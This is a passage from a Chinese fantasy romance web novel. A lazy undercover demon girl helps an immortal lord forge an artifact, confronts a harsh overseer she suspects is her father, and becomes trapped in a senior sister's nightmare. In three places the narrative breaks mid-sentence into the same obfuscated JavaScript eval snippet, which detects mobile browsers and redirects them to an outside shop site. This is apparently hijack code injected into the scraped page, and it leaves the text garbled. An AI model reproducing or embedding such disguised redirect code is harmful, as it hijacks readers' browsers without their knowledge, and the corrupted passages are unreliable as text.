他周身潜在的危险感都消退了不少,林珑竟有种微妙的,自己给对方顺毛的感觉。 他将这盒子放在这里,好像也不是什么陷阱,就为了换一次她帮他梳头发? 真奇怪。 他到底在想什么呢? 想不明白。 打理完头发,林珑如愿得到了灵气匣,两人一起前往炼器室。 * 萧无梦的炼器室,和寝殿是两种风格,像是精密的仪器室,干净到一尘不染,架子上摆满了她不认识的各种炼器材料。 空气中有淡淡的金属气味,萧无梦坐在半人高的炼器鼎前,操纵着灵火的温度。 他炼器时十分专注,不受外界打扰。 林珑坐在一旁连打了三个喷嚏,他连头发丝都没动一下。 那炼器鼎中泛着五色灵光,看不出炼制的是什么东西,足足等了一个多时辰后,他道:“你过来。” “好嘞。” 她像只活泼的小狗凑了过来。 萧无梦动作一顿,撩起眼皮看了她一眼。 林珑回以微笑。 这法器关系到她能不能躺上那张梦寐以求的床,她还能更殷勤! “我需要你依次往鼎中注入不同属性的灵气。”他道,“听我指令。” “好。” “火。” 一缕火星飘进了炼器鼎里。 萧无梦:…… 林珑:乖巧微笑。 仙君的眼神沉了沉。 “土。” 啪。 一道细雷打进了鼎中。 哎呀,搞错了! 只听轰然一爆,鼎中的溶液溅起三尺高,林珑吓了一跳。 萧无梦面不改色,面前撑起一道透明屏障,将溶液尽数挡了回去,炼器鼎缓缓平复下来。 林珑心有余悸,她不会就这么把萧无梦的心血给毁了吧? 但她真不是故意的。 毕竟她在外门,也是凭实力垫底的。 再说,一个人要灵活使用自己的五根手指不难,但一个人要是长了八根手指,手忙脚乱也在情理之中。她的八条灵根就像八根手指一样不听使唤,这里又不像是在梦里,只要用脑子想一想就能驱动不同的灵气。 她又偷看仙君一眼,不知对方是否会发怒。 怎么办? 现在要跑吗? 空气中涌动着令人不安的寂静。 萧无梦坐在鼎前没动,并没有跟她想的一样发怒,他修长手指在半空中虚画,指尖蕴着一点灵光,林珑只能看出他似乎在画一个法阵,但太过复杂,看着有点头晕。 片刻后,他道:“过来。” 林珑不安的凑近一些,坐在萧无梦身边。 她身上清香柔柔,他眸光微沉,面前圆形法阵亮起,法阵一共八种颜色,正对应她的灵根颜色,“哪一种颜色亮起,你便往鼎中注入对应灵气。” “好!” 这个办法简单易懂,不用动脑子,只要根据直觉来反应,这次果然顺畅无比,一轮下来她一次也没出错。 “仙君真厉害。”她由衷夸奖。 萧无梦淡然扫她一眼,好像在说,你的不学无术程度也着实令本君惊讶。 林珑咳了咳,一本正经:“仙君,你不能对一条咸鱼抱有太高的期待。” “咸鱼?” “就是形容一个人不想动,没有追求,只想躺着。” 萧无梦想了想,意外的形象。 如此有自知之明,倒比那些喜欢在他面前夸大其词,拼命粉饰自己的人要顺眼得多。 林珑看了看那炼器鼎,问:“仙君炼制的,到底是什么东西?” “神兵利器。” “哇。”她猜的没错,无梦仙君闭关一百年,捣鼓出来的一定是对魔界威胁巨大的东西! 一想到魔君有得头疼了,她竟还有点开心。 “是一把刀吗?”她探问。 “不是。” “那是?” “不一定。” 什么叫不一定? 难道他也不知道自己在炼什么器?所以在这跟她打哑谜? 萧无梦扫了她一眼,“你觉得,这降灵仙宫如何?” “是我住过最舒服的地方!” 在这仙宫里,吃最好吃的佳肴,睡最软的大床,除了太过冷清之外,没有别的缺点。 萧无梦眼神微沉,提议道,“不如就此留下,等法器炼制完成,本君自然会兑现诺言。” 说这话时,他幽深眸中蕴着一团阴云,遮掩眸光,那浓重的阴翳,仿佛能将人吞没。 语气隐约带着危险。 林珑问:“法器炼成要多久?” “不久。”他道,“只需四十九日。” 四十九天! 不对不对。 哪有魔族卧底天天在仙门大佬眼皮子底下晃的,这跟黑.帮卧底住在警察家里有什么区别?嫌自己命不够长了? 就算萧无梦一时没有发觉,时间长了也难免会露出马脚。 林珑心中刚消下去的警惕心又升起,别看她和萧无梦相处自在,她时时刻刻都没忘了自己的身份。 她果断摇了摇头。 萧无梦脸色一沉,周遭寒意攀升,炼器鼎上泛起了细小的霜花。 气氛冷凝。 林珑心道不妙,顿时紧张起来。 他怎么突然就翻脸了? 萧无梦果然不似外表和善,拒绝他,在这里不会是送命题吧? 她急中生智,“仙君,不是我不想,而是外门根本离不开我。” 他挑了挑眉。 “如果仙宗要办一次睡觉大赛,比谁入睡快、睡得香,我敢说,我要是认第二,就没人敢认第一。” 萧无梦:。 “那又如何?” “如今噩妖为患,大家都害怕睡觉,但长时间不睡觉,也可能让人走火入魔,这可不是什么好事。”她说,“这时候我就很重要了,‘看,林珑还在睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958169|136669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,睡觉也不是那么可怕的事嘛’,要是看不到我上课时打瞌睡,弟子们还有谁敢睡觉呢?” 萧无梦:…… 他幽深双眸打量林珑,她说起歪理来,真是一套一套的。 但是,很有意思。 “你为何这么能睡?” “因为想得越少,睡得越香。” 她说,“我以前做过一个梦,梦里我起早贪黑,努力攒钱,盼着攒够了钱,就能过上好日子了,结果梦醒了,什么都没了,努力几十年,到头来是一场空。” 她盘膝而坐,托着下巴,说话时鬓间的蝴蝶发簪在萧无梦眼前晃来晃去。 “后来我就想开了,生活艰辛,那就躺下。”她眼中浮起浅浅笑意,“吃了上顿没下顿的时候,不去想明天怎么办,想着今天吃饱了就很开心。今天天气好很开心,路上遇到小猫开心,有地方能躺下睡觉,也很开心。” “哪怕我什么都没有,起码我过得自由自在。” 容易满足的人,更容易快乐。 萧无梦眼神渐沉。 窗外,一只蜻蜓撞进了蜘蛛网中,拼命挣扎几下,反而让蛛网越缠越紧。 林珑抬头看他,“不如等到法器炼成之日,我再来亲眼见证神器诞生,让这份神秘感保留到最后,仙君觉得如何呢?” 她等来的是长久的沉寂。 萧无梦眼神深黑,沉默得让她有些心慌,片刻后,他忽然靠了过来。 他高大的身形带来不轻的压迫感,林珑下意识往后缩,充分表演了什么叫嘴强王者,一旦动起手来,比谁都胆小。 她像只受惊的小动物,对方却只是伸出手,将她头上歪倒的发簪扶正了。 阳光透窗而过,空气中浮动起细小的飞尘。 他收回手,桂花香气渐渐自鼻尖飘远,“就依你所言。” 一阵风吹过,蛛网破了一个洞,蜻蜓拍拍翅膀,飞走了。 得到萧无梦的承诺,林珑离开了降灵山。 走出云雾迷阵时,她回头看了一眼,身后除了茫茫云海,什么也看不见。 她忽然觉得,那处华美的仙宫,有些像是一座囚笼。 * “仙君,为何不留下她呢?”鹤童不解地问。 萧无梦眼神幽沉,没有答话。 一只燕子从廊下飞掠而过,转瞬冲上天空。他看了一眼燕子,忽然道,“灵池空着,弄些鱼来养吧。” 鹤童:? 仙君为何突然想养鱼了? “可是,您的身体——” 萧无梦冷冷看了他一眼,鹤童低头躬身:“恭送仙君。” 他不明白。 以仙君如今的状况,林珑就是他好不容易找到的良药,他还以为,这姑娘上了山就别想走,没想到仙君竟然就这样放她离开了? …… 回到小院,迎接林珑的是八卦欲爆棚的刀师弟。 “师姐,仙君找你干什么去了?”他又是好奇,又是松了口气,小声道,“我还以为你被发现了。” 林珑扫了一眼堆在桌边的包裹,“所以你准备跑路了?” 有种“师父被抓了,咱们还是散伙吧”的既视感。 刀师弟嘤嘤,“师姐要是出事了,我也过不下去了。” 看她坐下,刀师弟殷勤给她倒茶:“师姐,你之前让我打听柳监院何时回来,有消息了,就在两日后。” 林珑眼睛一亮。 刀师弟:“师姐,你为何这么关心监院?” 林珑喝了口茶:“到时候你就知道了。” 他又殷勤问,“仙君到底叫你做什么了?” 林珑拿眼睛瞟他,刀师弟一脸“好想吃瓜”的表情。 她回忆这两天在降灵仙宫干了些什么,随口道,“睡觉。” “噗——”刀豆一口茶喷了出来,喊了一嗓子,“禽兽啊!” 11. 渣爹 降灵山上,一早又迎来了一批访客。 鹤童引着众人绕过云雾,仙君站在阶前,雪青云袖沾了晨雾,几只仙鹤在离他很远的地方梳理羽翼,姿势悠闲。 众人心里咯噔一下:仙君好像很早就起了,莫非昨夜又没睡好? 太一仙宗掌门青崖子紧了紧脖子后的皮,上前一步,恭敬行礼:“拜见大长老。” 身后几人跟着下拜。 仙宗大长老地位超然,在宗主之上。宗主之下有七位护山长老,其下是十峰峰主,这次跟着宗主来拜见大长老的,正是长老和峰主们。 “何事?”萧无梦问。 “因仙君寿辰将至,我等准备了些心意送给您。”宗主笑呵呵道。 青崖子笑容亲和,眼角有笑纹,长相和善,身材不高,拿着一柄碧色拂尘,看起来一点宗主架子都没有。 他身后玄武峰主抢先送上礼物,“仙君,此乃玄武峰望月石,受月阴滋养千年,是难得一见的奇珍,定神养气,效果绝佳。” 他捧着一块巴掌大小的石头上前,萧无梦几乎是立刻皱起了眉。 青崖子连忙拉了他一把,让他后退,新上任的玄武峰主回头,见大家都默契靠后站,才明白过来,仙君似乎不喜人靠近。 他将礼物递给鹤童,萧无梦面无表情,分明对这宝物不感兴趣,玄武峰主不由垂头丧气。 另一位长老挤开他,献上一盒红色丹药,“仙君,您瞧瞧这个,这是丹阁的新出的极品丹药,一颗初尝滋味,两颗渐入佳境,三颗可得无上欢愉。” 萧无梦挑了挑眉,“真有你说的效果?” “真的!”长老激动,“此乃房中秘术丹,双修佳品,阴阳互补,效果其佳!” “很好,你来吃。” 长老愣了一下。 “既然效果这么好,服下给本君看看。” “可是仙君……”那长老哭丧着脸,“我、我修的是童子功啊!” 他只是来献丹的! 然而,在仙君那双清冷无波的眼神注视下,他怂得不行,默默掏出三颗丹药吞了下去,脸色比苦瓜还苦。 玄武峰主忍不住道:“仙君,长老修行不易——” “你想为他分担?”萧无梦神色冰冷,“那你也吃上几粒,如何?” 玄武峰主大惊,他练的虽然不是童子功,但也是心守神静的玄武心决,这丹药吃下去对他绝无好处! 可仙君看着他,他根本不敢拒绝,只好也闭着眼睛吞下了丹药。 原本欢喜的送礼场面,变成了等待处刑,仙君的喜怒无常令几人惴惴不安,这哪是送礼,这明明是在送命啊! 好在接下来没出什么事,只是他们送的贵重法宝,也未能讨好仙君,唯有青崖子送上“千髓香”,让他多看了一眼。 青崖子捏了捏自己稀疏的胡子,不愧是他,能把握住仙君的喜好啊! “听闻前日仙君召见了一外门弟子。”青崖子道:“是否要将她召为仙侍,让她来降灵宫伺候?” 萧无梦眼神骤然一冷。 众长老:“我等还有事,先走一步!” 青崖子:…… 有事你们是真跑啊! 青崖子意识到自己说错了话,不过此处既然没有了外人,仗着和大长老关系深,他的脸皮也就厚了起来,“师叔为何对那小弟子另眼相待?” 掌门青崖子是先代掌门的徒弟,先掌门和萧无梦是昔日离渊老祖唯二的真传弟子。大长老论辈分是他的师叔,不过两人年纪却是相仿的。 “她的灵气特殊,让她来辅助炼器罢了。” 青崖子眼珠一转,不是很信,那弟子灵根微弱,能帮得上什么忙?仙君对她另眼相待,一定有原因,他决定暗中调查一番。 “本君要出去一趟。” “啊?” 青崖子回神,听清他说的话后,吓得噗通一声跪在地上:“师叔,您不能出去啊!” 不管不顾的膝行上前,要抱着他的腿哭。 萧无梦嫌弃皱起眉,退开几步。 青崖子这掌门当得着实没有牌面,他擦了擦鼻涕眼泪,“神树将您留在此处,也是为了保、保护您。” 他小心翼翼斟酌字句,打量他的表情,“以您如今的情况,实在不宜离开神树。” 萧无梦冷冷凝视着他,青崖子额头上的冷汗一滴滴落进土里,上方沉重的压力让他背都挺不起来。 良久,对方收回视线,离开了。 青崖子颤巍巍爬起来,擦了一把额头的汗,满脸忧愁。 他不认为事情就这样结束了,师叔想做的事,任何人都无法阻拦,他只是不明白,师叔已百年不出仙宫,是谁让他突然有了想离开的念头? -- 林珑的小院,这几天可是热闹得很。 自从她被仙君召见的消息传开后,每天都有不同的弟子来拜访,甚至掌事也来过两趟,探问她的口风。 仙君说,炼器之事暂时不要对外宣扬,鉴于之前说“睡觉”,引起了师弟的误会,林珑只好换了种说法:“仙君叫我去喝茶。” 众人:难道师妹精于茶道,连仙君都请她去品茶? 于是,这几天她收到的茶叶几乎将房间都堆满了,而林珑对茶叶兴致缺缺,每天依然过她吃吃睡睡的咸鱼日常,除了搜肠刮肚写工作总结,另外多了一件要关注的事——柳监院回来了。 在魔族的固有印象里,前往仙门卧底,是一件非常危险的事,那些仙修对魔族十分痛恨,稍有不慎被抓住,就是小命玩完的下场。 林珑也一样,之所以同意魔君的条件前来仙门,是因为她娘。 这辈子的娘亲是个柔弱魔族,她爱上了一个人族修士,那道修在娘怀孕时便离她而去,之后音讯断绝。生下她后,娘变得有些疯疯癫癫,清醒时温柔的将她搂在怀里哄她睡,发病时谁也不认识,见人就打。 母女两相依为命这么多年,娘亲的身体终究渐渐衰弱下去,躺在床上奄奄一息,嘴里念的都是想见当年的男人一面,问他为何要丢下自己。 可她疯了太多年,不记得那男人的长相和名字,只记得人是太一宗的,她给林珑留下了一段红绳,作为相认的信物。 带着娘亲的心愿,林珑来到修真界,不过她可没有什么父女相认的想法,这种渣爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958170|136669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,扔进垃圾桶都嫌污染环境。 她只想看看这惊天动地的渣男到底是何许人也,好给娘一个交代。 来了之后才发现,娘的这截红绳委实有些坑人,别的法宝是失灵,它是太灵了,路上遇到倒夜香的弟子都能让它有反应。 林珑严重怀疑,这玩意儿测的可能是血型,不然她光在外门就有一百来号渣爹了。 娘不靠谱,只能靠自己。 已知这人是太一宗的修士,曾在一百年前去过魔界,修为起码在第三阶,不然无法跨越两界天堑。 经过一番排除,她将目标锁定在了监院身上,此人曾在百年前追踪修真界叛徒进入过魔界,短暂停留后离开。 他会是自己要找的渣爹吗? 林珑混迹在弟子堆中,柳监院回宗门的排场极大,身后跟着不少弟子,他身材魁梧,气场威严,弟子们对他有些惧怕,不敢高声说话。 道路尽头,柳若眉恭敬等着,待他走近,轻声道:“爹。” 柳监院看了她一眼,扬手—— 啪。 一巴掌打在了她脸上。 这一巴掌打得极重,柳若眉跌坐在地,因羞愧深深低下头,眼圈泛着红,纤瘦肩膀轻轻颤抖。 “丢人现眼的东西!”监院呵斥。 周围弟子噤若寒蝉,没人敢帮她说话,或同情或奚落的视线落在她身上。 柳若眉缓缓爬起来,强忍着眼泪:“女儿知错了。” 柳监院皱着眉,满眼嫌弃,“我看你是根本不知道教训!我怎么会有你这么没用的女儿?刚回来又给我惹事!” 在众弟子面前被训斥,柳若眉难过又羞耻,眼泪掉个不停。 “当初我对你寄予厚望,要不是你输给秦泯,早已进入内门,这么多年还在外门,毫无长进——” 林珑悄声问:“秦泯是谁?” 刀师弟小声回答:“师姐你又忘了,就是外门第一的那位秦师兄啊。” 她对谁是外门第一没有半点印象,盯着监院:“他还打算骂多久?” “不知道。”刀师弟道,“监院脾气暴躁,师姐,你可千万别往上凑啊。” “诶?师姐??” 林珑灵活得像一条鱼,一溜烟就到了柳若眉身边,“师姐,你别难过。他自己不也一样没进内门,凭什么说你?” 柳监院眼一瞪:“你说什么?!” 林珑:“我说的不对吗?监院批评师姐之前,自己应该先进内门,不然有什么说服力?” 众弟子:……好像有点道理。 柳监院额头青筋一暴:“本院说她是为了她好!批评是为了让她进步,你是什么人,在此多话?!” 林珑:“既然批评让人进步,那监院为什么不批评自己呢?多找些自己的问题,监院说不定已经成了内门长老了。” 监院:“你——找死!” 柳监院让她气得不行,他从未见过哪个外门弟子敢这样跟他叫板,掌蕴灵光,一巴掌就要挥下! “爹,不要!”柳若眉惊呼一声。 林珑下意识抬手一挡,她手腕上,那截红绳发出了醒目的红光。 12. 受罚 林珑低头看自己手腕上发亮的红绳,她并不意外,毕竟监院是她在外门的最后一个怀疑对象。 可是红绳发亮并不准确,这两年它亮的次数没有一百也有九十,是不是她爹,还需要另外想办法验证。 若直接问他,渣男一定矢口否认。 监院深深看了林珑一眼,怒气未消,柳若眉鼓起勇气,将师妹给挡住了。 “你——滚开!”监院呵斥一声。 柳若眉虽然害怕,但一动不动。 监院再次抬起了手,这时,忽听一声清斥,“监院,这是在干什么?” “静主。”监院皱眉,缓缓放下了手。 静主视线扫过两人,“你们几个,还不去打扫七宝阁?” 林珑才想起来,之前掌事罚他们这回事。 七宝阁是外门最高的建筑,共有七层,存放着外门的功法典籍和贵重法器。受罚的弟子不能动用半点灵气,必须一层层每个角落仔细打扫,累且磨人,这个过程也被称为“洗心”。 听说宝阁的第七层放着一件天阶宝物,有层层阵法守护,她曾怀疑过那是不是魔君要找的灵犀入梦珠,但后来一想,那可是镇宗之宝,谁会把这种宝物放在外门? 月夜,四下一片静谧。 七宝阁刚刚修复完,三人拎着扫尘工具来了。林珑抱着扫把,身子倚在扫把柄上,以一个摇摇欲坠的姿势,呵欠连天。 “师姐,进去了。”刀师弟喊,免得她就地一躺,要把她喊醒可就难了。 林珑勉强打起精神,回头一看,柳若眉站在不远处,脸上有点肿,眼角还是红的,也不知回去后监院又对她说了什么。 “柳师姐?” “嗯。”柳若眉脸上勉强挤出笑意,“我没事,咱们进去吧。” 七宝阁中燃着长明灯,昏暗的烛光照亮一排排书柜,积着厚厚的灰尘,每一层这样的书架有五六十排,这工作量,光看就让人眼晕。 林珑:“我困了。” 刀师弟坚定地将一块抹布塞进她手里,“不,你不困。” 林珑:“……” 她抬眼看上方雕刻着云纹的木梁,“我觉得,咱们应该从最上面一层开始打扫。不然一路扫上去,下来的时候不就又弄脏了?” 刀师弟:“还真是。” 柳师姐有些恍惚,慢半拍后说:“好。” 一行人拎着东西往楼上走,深夜人静,七宝阁笼罩在一种深沉寂静中,只能听见踩在木楼梯上的脚步声。 烛光照不到的黑暗处,不知潜藏着什么猛兽恶鬼,会窜出来将人撕碎,刀师弟紧紧跟在林珑身后,呼吸都放轻了,生怕惊动什么。 林珑小声道:“你是鬼,怕什么鬼?” 刀师弟:“师姐,大鱼吃小鱼,蛇还吃蛇呢,鬼也是一样,我这样弱小的鬼,就是大鬼的食物。” 两人嘀嘀咕咕,绕阁而建的楼梯一层层旋转往上,绕得人头都晕了,越往上,楼梯道越窄,四周也越来越黑。 到了第七层,月光映出一道巨大的影子在对面墙上,那影子拉得老长,弓着背,手中好像拿着一把斧头。 刀师弟“唉哟”一声,一屁股坐倒在楼梯上。 “谁?” 那“影子”被惊动了,探头往这边看,声音清润好听。 林珑一把拉起刀豆:“别一惊一乍了,是个人。” 一排巨大的书柜下,盘膝坐着一个瘦削青年,他手里拿着一卷厚厚的书,正对着月光看书,拿斧头的影子,不过是光照角度,把他拿着书的手投影而成。 刀师弟擦了擦额头的汗,“吓死我了。” 竟然有人半夜不睡,在这里看书! “秦师兄?”柳若眉认出那人。 秦泯打量三人,也认出了他们。林珑根本不记得他,外门数千弟子,她认识的是极少数,别人社交的时候她都在睡觉。 刀豆提醒:“他就是那个外门第一,秦师兄。” 林珑低头看着发光的红绳,小声问:“师兄今年多大了?” 不等刀豆回答,秦泯笑着说:“年已而立。” 师兄才三十岁,年龄对不上。 当初调查时,她就将弟子们都排除了,大部分仙门弟子年岁都未过百。 她扯了扯袖子,将红绳盖住,问:“师兄为何深夜在此?” 秦泯看了一眼高处的圆窗,月色漫窗而入,“在此处夜读,特别有感觉。” 林珑:有没有感觉不知道,没近视算你厉害。 她一偏头,看到高窗下有一方小台,台子上摆着一个深色莲纹托盘,托盘上,一颗莹润的白色珠子散发浅浅珠光。 好强的灵韵…… 不会这就是灵犀入梦珠吧?! “师妹,此乃七宝阁镇阁之宝,石台上有不少阵法叠加,伤人于无形,不可贸然靠近。”见她盯着那珠子出神,秦泯出声提醒。 “嗯,我就看看。”林珑乖巧应道,“这宝物叫什么名字?” “叫——” “柳师姐!” 刀豆一嗓子吓了她一跳,回头看,柳若眉脸色苍白,软倒在地,若不是刀豆扶着她,她恐怕就顺着楼梯滚下去了。 “师姐,你怎么了?”林珑连忙凑上前。 “我……”柳若眉欲言又止。 秦泯放下书卷上前,一手按住了她的脉搏,“柳师妹这是精神不济、惊惧忧思之症。” 听刀师弟说,他和师姐是进入内门的竞争对手,可他似乎不以为意,态度温和,语气略带担忧。 “师姐没有好好睡觉吗?”林珑问。 她不是给了师姐一朵灵霄花,为何还会这样? 柳若眉低着头,眼中隐有泪花闪动。 她很想休息,可是爹说她“进不了内门,你还有脸睡?”“次次让我失望,没用的东西!” 监院一回来,她更不敢休息,白天练刀,晚上研读功法,不然爹又要说她偷懒,熬到现在,快要扛不住了。 林珑不解,“为什么一定要让师姐进内门?” 秦泯道:“听说监院原本是内门管事。不知为何被逐出内门,在外门沉寂了很长一段时间才当上监院……” 难怪一心想回内门去…… 林珑心想,这渣爹,自己办不到的事就责怪女儿,只会无能狂怒。 她扶着师姐在书架边坐下,“师姐,你歇一会儿,这里有我们和秦师兄打扫就够了。” 秦泯:? 林珑:“师兄,帮帮忙。” 秦泯认命拿起扫把,莲纹盘上的宝珠突然乍明乍暗,像是快要没电手电筒。 那一阵阵的明灭,晃得人心里发慌。 几人被宝珠吸引了注意,没注意到书架之后,一道黑影悄无声息掠过。 “怎么回事?” 啪嗒。 一声类似保险丝烧断的声响,宝珠彻底熄灭。 四周都暗了下来,刀师弟发出惊呼:“柳师姐睡着了。” 团团黑雾从墙缝、书架后方蔓延过来,如同黑夜长出了触手,迅速汇聚成一团巨大的阴影。 “她、她做噩梦了!” “啊啊啊——” * 进入梦境这种事,一回生二回熟,林珑没想到,第二次入梦来得这么快,而且他们竟然进入了柳师姐的梦中。 这梦境安宁祥和,看起来完全不像一个噩梦。 她就站在之前和师姐见面的七孔桥上,一只黄莺藏进树梢,啾啾鸟鸣声悦耳。 师姐的梦境,就是太一宗外门,一草一木都无比熟悉。 太熟悉了。 熟悉到她有种自己没有入梦的错觉,这念头一冒出来,她就惊出了一层冷汗,伸手摇了摇腰间的梦铃,一点声音都听不到,这才确定了自己在梦中。 再看周围,刀豆站在她身边,他正盯着梦铃看,身体还在发抖。 有这么一个胆小的师弟在身边,把她都衬托得淡定了。 其实她也怕,能走出上次那个梦境全靠运气,这一次……只能指望师姐的梦境没那么危险了。 刀豆观察四周,胆子稍微大了些,“柳师姐的梦,看起来还挺祥和的。” “不可掉以轻心。”秦泯道,“噩梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958171|136669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之所以是噩梦,一定潜藏着我们不知道的危险。” 他神色镇定,语气温和,让两人都安心不少。 “最近噩妖出现频繁,七宝阁的异动说不定很快会引来掌事注意,你们跟着我,不要擅自行动。” 两人都点头。 秦师兄看起来好像很靠谱的样子。 秦泯又交代了几句,三人一路下了桥,林珑道:“秦师兄懂得真多,以前进过梦境吗?” 秦泯摇了摇头:“这是头一次,不过七宝阁第四层有不少关于梦境和噩妖的书,你们都没看过吗?” 两个学渣陷入战术性沉默。 下了桥,路边出现了三三两两的外门弟子,他们还是头一次在梦境里遇到同门,不禁吓了一跳。 这是柳师姐梦中的人,还是跟他们一样被卷入梦境的活人? 林珑心中涌起一阵说不上来的奇怪感觉。 “整座七宝阁只有我们四人,梦境才刚刚形成,扩散没有那么快,他们并非同门,只是梦中的想象。”秦泯道。 三人打算不惊动这些弟子,悄然离开。 那些弟子却主动跟他们打招呼,“柳师姐。” “师姐早。” 在柳若眉的梦境里,这些梦中人把外来者都认成了“柳师姐”。 他们用一种奇怪的眼神打量着“师姐”,目光阴冷,有些渗人。 看得人心里毛毛的。 在他们注目之下,三人快步往前走,前方还有弟子经过,竟还有林珑认识的人,她记得这两位师姐平时都很和善。 师姐凑上前,“若眉,你最近怎么都不找我聊天了?” 她顿了顿说,“你知道了?” 林珑眨了眨眼睛。 师姐又说:“你装模作样,人又矫情,不会以为真的有人想跟你做朋友吧?” 旁边的师姐嘻嘻一声:“其实我们私底下都很讨厌你,你也感觉到了吧?” 眨眼之间,那师姐猛地张开嘴,血盆大口中长着足足三圈密密麻麻的牙齿,对着林珑一口咬了下来! 这么近的距离,林珑吓得魂都差点飞了。 谁说柳师姐的噩梦不吓人? 千钧一发之际,秦泯拎着她的衣领,扯着她一连后退几步,才堪堪避过了这要命的一咬。 令人头皮发麻的牙齿咬合声响起,再一看,那师姐身体还保持着人形,头已经变成了肉球状的怪物,表皮发皱,五官消失,只剩下那张裂口一样的大嘴,咬合后又缓缓张开,“盯”上了他们三人。 “妈呀!”刀师弟吓得腿软,差点跪下。 秦泯带着两人飞速避开这怪物,前方又被一群弟子围住了。 “师姐,昨日小考,你又输给了秦师兄,就知道你不行!” “师姐你可没品味,这条裙子土里土气,难看死了!” “你走路的姿势真难看,还驼背,像个乌龟,哈哈!” 众人围着他们指指点点,恶意满满。 有了刚才的教训,几人大气不敢出,身后,两只顶着肉球的裂口怪物还在逐渐逼近,他们要被包围了! 秦泯当机立断,一道掌风拍出,将人群震开,“走!” 两人心知此时不能拖后腿,闷头就跑,身后的弟子发出了怪物般的嚎叫声,有人长出了尖刺般的四肢,有人身上长满了触手,有人胸口开裂,数条带刺的藤蔓从裂口处伸出,猛地缠向两人! “啊啊啊!” 刀豆吓得魂飞魄散,紧紧抓住她的衣袖不撒手。 关键时刻,林珑大喊一声:“风翼!” 不知从来吹来一阵狂风,将两人送出数十里远,摔在一处矮坡上,咕嘟咕嘟滚了下去。 头晕目眩。 好一会儿,林珑才找回了神智,这御风术还不熟练,好歹是保住了一条小命。 那些怪物暂时看不到了,他们掉在了一处茂盛的灌木林里,刀师弟躺在旁边,虚弱睁开眼睛:“师姐,我起不来了,拉、拉我一把。” 他冲着林珑伸出了手。 一瞬间,林珑心中那股奇异的不和谐感攀升到了顶峰。 13. 上药 林珑看着刀豆,神色凝重。 进入梦境后,她就在想一个问题:柳师姐的梦境里,既然有这么多外门弟子,会不会也有“林珑”? 假如存在着一个“梦中的林珑”,该怎么分辨哪个是真实的自己? 同样,如果梦中也有刀师弟和秦师兄,又该怎么分辨真假呢? 她意识到——这个梦境可怕的不是环境,而是人。 从进入梦境时起,刀师弟就跟在她旁边,看起来跟平时没什么两样,同样的胆小怕事,同样的依赖她。但她记起一个细节,她摇动梦铃的时候,刀师弟一直盯着梦铃看,身体还在发抖。 有没有可能,他当时是在害怕梦铃,而不是恐惧梦境?据说回梦铃的铃声对一些实力弱小的梦境生物有震慑作用。 眼前这一个,很有可能是梦境中的刀师弟,而不是刀豆本人! 一想到这,她不禁后背发寒。 “师姐,拉我一把。”刀师弟还在艰难试图爬起来。 林珑强作镇定,伸手时,装作不经意间碰响了梦铃,刀师弟肉眼可见的抖了一下。 她的手伸到一半变了方向,一道火球砸了下去! 刀师弟变成了一个梭子形状的大藤球,那火竟然点不燃藤球,无数条藤蔓自他身上伸出,向着林珑缠绕过来! 她再次唤起一阵风,转身就跑! 这次风力却不强劲,没飞出太远的距离,藤球在身后紧追不舍,它的藤蔓编织成两条腿,跑得飞快! 林珑不知该庆幸这家伙估计是想吃独食,才没有和刚才那些怪物一起对她下手,还是该感慨自己倒霉,被这家伙给盯上了。 它跟那些游荡型怪物不一样,不仅认得出她是梦境的外来者,伪装程度也更高,装的跟师弟一模一样。 林珑慌不择路,借着风跑出灌木丛,几次不慎被藤蔓抽中,身上起了几道肿痕,好不容易逃到一处密林,才摆脱了藤球的追踪。 她绕到一棵粗壮的大树后,听了片刻,听不到那东西的动静了,小心翼翼绕着树干往前走,忽然撞上了一道修长身影。 “啊!” “是我。” 林珑惊魂未定,抬起头。 这一眼,便愣住了。 黑衣男子马尾高束,脸上戴着半张银面具,面具下的眼神清冽孤傲。目光在她身上转了一圈,落在她小臂上肿胀的伤口上,微微沉了下去。 “你怎么会在这?” “这话不该我问你吗?”守梦人反问。 林珑:…… 好吧,这么短时间又进了梦境,确实是意外。 但见到他,心中那份恐惧不由消散了些,不再那么害怕了。 刚要开口,耳边忽又响起窸窸窣窣的声音,吓得往他身边一躲。 小声道:“那东西又来了。” 守梦人并没有去看那边的动静,而是注视着她,点漆般的眸子如墨深沉。 林珑以为他又犯病了,心里一慌,她怕对方条件反射把她推出去,这种时候,洁癖哪有小命重要?于是一把抓住了他的手臂,“别——” 他低下头,她的手指纤细,手很小,只抓住了他一半的手臂。 守梦人的黑衣单薄,隔着布料能摸到肌理分明的手臂肌肉,微微紧绷着,充满力量感,和她掌心接触的地方,体温渐渐变得灼热。 他将她往树后一塞,“待着别动。”提着刀出去了。 